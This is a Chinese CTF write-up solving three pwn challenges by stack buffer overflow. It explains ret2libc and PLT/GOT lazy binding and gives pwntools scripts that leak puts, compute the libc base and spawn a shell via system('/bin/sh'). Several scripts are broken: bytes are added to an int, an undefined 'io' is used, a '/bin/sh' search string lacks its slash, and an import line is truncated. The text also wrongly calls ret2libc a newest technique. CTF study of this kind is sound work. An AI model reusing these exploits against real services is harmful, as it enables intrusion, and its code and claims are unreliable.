11-21CTF

[GDOUCTF 2023]EASY PWN

shift+F12字符串检索

发现flag.txt

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
puts("If I gaslight you enough, you won't be able to guess my password! :)");
check();
return 0;
}

进入check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int check()
{
int result; // eax
char buf[10]; // [rsp+7h] [rbp-29h] BYREF
char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
ssize_t v3; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int v5; // [rsp+2Ch] [rbp-4h]

v5 = 0;
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Can't access /dev/urandom.");
exit(1);
}
v3 = read(fd, buf, 0xAuLL);
if ( v3 < 0 )
{
puts("Data not received from /dev/urandom");
exit(1);
}
close(fd);
puts("Password:");
gets(s1);
result = strcmp(s1, buf);
if ( result )
result = puts("I swore that was the right password ...");
else
v5 = 1;
if ( v5 )
{
puts("Guess I couldn't gaslight you!");
return print_flag();
}
return result;
}

只需要满足v5不为零就好了

题目中存在漏洞函数get

exp

1
2
3
4
5
6
from pwn import*
p = remote('ip',port)
payload = b'a'*0x1f+8+p64(1)
p.sendline(payload)
flag = p.recvall() //接收屏幕所有数据
print (flag)

ps:扣1送flag

[2021 鹤城杯]babyof

非常经典的ret2libc

check一下

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了NX保护(堆栈不可执行)

ida分析

shift+F12寻找

非常的经典

没有任何后门函数

开启了NX保护,无法应用ret2shellcode,这里我们采用一种最新的攻击手法ret2libc

首先我们应该先知道C语言的标准库(libc库)里面包含了很多好用的函数

包括system()

我们还应该了解一下动态链接库和静态链接库

动态链接库(DLL,Dynamic Link Library)

  1. 定义
  • 动态链接库是包含可由多个程序同时使用的代码和数据的库。它在程序运行时被加载到内存中,多个应用程序可以共享同一个动态链接库中的代码,从而节省内存和磁盘空间。
  1. 特点
  • 内存共享:多个应用程序可以同时使用内存中同一个动态链接库的副本,减少了内存的占用。
  • 易于更新:如果动态链接库需要更新(例如修复漏洞或添加功能),只需要替换库文件本身,而不需要重新编译使用该库的所有应用程序。
  • 加载时间:在程序运行时才加载动态链接库,可能会导致程序启动时间稍微变长。
  1. 使用场景
  • 在Windows操作系统中,许多系统功能都是通过动态链接库实现的,例如 kernel32.dll 、 user32.dll 等。应用程序可以调用这些库中的函数来实现诸如文件操作、图形界面绘制等功能。
  • 在软件开发中,当多个项目需要共享一些通用功能时,可以将这些功能封装成动态链接库,方便各个项目调用。

静态链接库(Static Link Library)

  1. 定义
  • 静态链接库是在程序编译时将库中的代码和数据复制到可执行文件中的库。每个使用静态链接库的程序都会在自己的可执行文件中包含一份库的代码。
  1. 特点
  • 独立性:可执行文件不依赖于外部的库文件,因为库的代码已经嵌入到可执行文件中。这使得程序在分发和运行时更加简单,不用担心库文件丢失或版本不兼容的问题。
  • 文件大小:由于每个可执行文件都包含了库的代码,会导致可执行文件的体积变大。
  • 编译时间:在编译程序时需要将库的代码链接到可执行文件中,可能会使编译时间变长。
  1. 使用场景
  • 当需要确保程序在不同环境下都能独立运行,且对可执行文件大小不是特别敏感时,可以选择静态链接库。例如,一些嵌入式系统开发中,可能会使用静态链接库来保证程序的稳定性和独立性。

两者比较

  • 内存占用
  • 动态链接库在内存中可以被多个程序共享,节省内存。静态链接库会使每个可执行文件都包含一份库代码,可能造成内存浪费。
  • 可维护性和更新
  • 动态链接库便于更新和维护,只需要替换库文件。静态链接库如果要更新功能,需要重新编译所有使用该库的程序。
  • 程序分发
  • 动态链接库需要确保库文件与可执行文件一起分发,并且版本要兼容。静态链接库只需要分发可执行文件即可。

阅读完上述内容,有两个问题

1.我们为什么要用动态链接库?

2.我们平时写的代码调用的是动态链接库还是静态链接库?

ok,言归正传

1
2
3
4
5
6
7
8
int sub_400632()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
return puts("I hope you win");
}

ida中发现sub函数

存在溢出点

64位操作系统下,参数的传递是这样的

前六个参数通过RDI,RSI,RDX,RCX,R8,R9六个寄存器来传递

剩余的参数采用栈传递

而32位操作系统直接采用栈传递

介绍一个pwn手必备工具———ROPgadget

这个工具可以让我们找到gadget的地址,分析二进制文件结构,还可以辅助漏洞利用开发

当然后门两个太高大上,我们只用第一种用途

这里还要再介绍一下Ret指令,这条指令的汇编语句是pop eip,eip是指令指针寄存器,用于储存下一条要执行的指令地址,因此我们将ret的内容覆盖成我们想要的地址,它就能带我们去任何地方(看我的,任意门!)

因此我们需要做的工作如下

1.找到system()函数和/bin/sh字符串在libc中的地址。

2.劫持程序的执行流程,让程序执行system(“/bin/sh”)

第二步不难,只要精巧合理地构造溢出,把main函数的返回地址覆盖为system()函数的地址,并合理实现传参即可,可我们怎么进行第一步呢?毕竟ida中可没有动态链接库的地址

关键在于如何找到system()函数和”/bin/sh”字符串的地址。这两个关键地址都在libc库中,这就是这类题型被叫做ret2libc的原因。那么如何寻找libc中的system()函数和”/bin/sh”字符串呢?这里需要用到以下公式:

函数的真实地址 = 基地址 + 偏移地址

偏移地址:libc是Linux新系统下的C函数库,其中就会有system()函数、”/bin/sh”字符串,而libc库中存放的就是这些函数的偏移地址。换句话说,只要确定了libc库的版本,就可以确定其中system()函数、”/bin/sh”字符串的偏移地址。解题核心在于如何确定libc版本,本文介绍过程将忽略这个问题,打本地直接确定为本地的libc版本即可。

基地址:每次运行程序加载函数时,函数的基地址都会发生改变。这是一种地址随机化的保护机制,导致函数的真实地址每次运行都是不一样的。然而,哪怕每次运行时函数的真实地址一直在变,最后三位确始终相同。可以根据这最后三位是什么确定这个函数的偏移地址,从而反向推断出libc的版本,此处需要用到工具LibcSearcher库。那么如何求基地址呢?如果我们可以知道一个函数的真实地址,用公式:

这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址

即可求出这次运行的基地址。

那我们如何找到某个函数func的真实地址呢?

1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。

2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本。

3.根据libc库的版本可以很容易的确定puts函数的偏移地址。

4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。

5.根据libc函数的版本,很容易确定system函数和”/bin/sh”字符串在libc库中的偏移地址。

6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和”/bin/sh”字符串的真实地址。

7.再次构造合理的payload2,劫持程序的执行流程,劫持到system(“/bin/sh”)的真实地址,从而拿到shell

延迟绑定机制

只有动态库libc中的函数在被调用时,才会进行地址解析和重定位工作,也就是说,只有函数发生调用之后,我们才能够通过got表读取到libc中的函数, 在可执行二进制程序调用函数A时,会先找到函数A对应的PLT表,PLT表中第一行指令则是找到函数A对应的GOT表。此时由于是程序第一次调用A,GOT表还未更新 ,会先去公共PLT进行一番操作查找函数A的位置,找到A的位置后再更新A的GOT表,并调用函数A。当第二次执行函数A时,发生的流程就很简单了, A的GOT表完成更新,可以直接在GOT表中找到其在内存中的位置并直接调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

p = remote('ip',port)
#p = process('./babyof')
elf = ELF('./babyof')
libc = ELF("libc.so")
rdi_address=0x0000000000400743

plt_put = elf.plt['puts']
got_put = elf.got['puts']
main_address = 0x000000000040066B

payload = b'a'*0x48 + p64(rdi_address) + p64(got_put) + p64(plt_put) + p64(main_address)


p.sendlineafter("Do you know how to do buffer overflow?",payload)


puts_real_address = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) // 接收puts的真实地址
print(hex(puts_real_address))

libc_puts_address = libc.sym['puts'] //libc库中puts函数的地址
libc_address = puts_real_address -libc_puts_address //libc的基地址
print(hex(libc_address))

sys_address = libc_address + libc.sym['system']

bin_address = libc_address + libc.search(b'bin/sh\x00')
payload1 = b'a'*0x48 +p64(0x0400506)+ p64(rdi_address) +p64(bin_address)+ p64(sys_address)
p.sendlineafter("Do you know how to do buffer overflow?",payload1)

p.interactive()

[SWPUCTF 2021 新生赛]whitegive_pwn

泄露了get和puts地址

题目给出了libc版本为libc.so.6

ret2libc直接打就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
rom pwn import *
from LibcSearcher import *

p=remote('node4.anna.nssctf.cn',28807)
#p=process('./pwn')
elf=ELF('./pwn')

offset=0x10+8
pop_ret=0x400509
pop_rdi=0x400763
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x4006BA

# 溢出偏移量 + rdi片段地址 + 参数 + 函数 + 程序入口地址
payload1=b'a'*offset+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

p.sendline(payload1)

# 取 put 的真实地址
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)
base_addr=puts_addr-libc.dump('puts')
system_addr=base_addr+libc.dump('system')
bin_sh=base_addr+libc.dump('str_bin_sh')

# 溢出偏移量 + ret片段地址 + rdi片段地址 + 参数 + 函数
# 此处的 ret 片段仅仅用作栈平衡
payload=b'a'*offset+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)

p.sendline(payload)
p.interactive()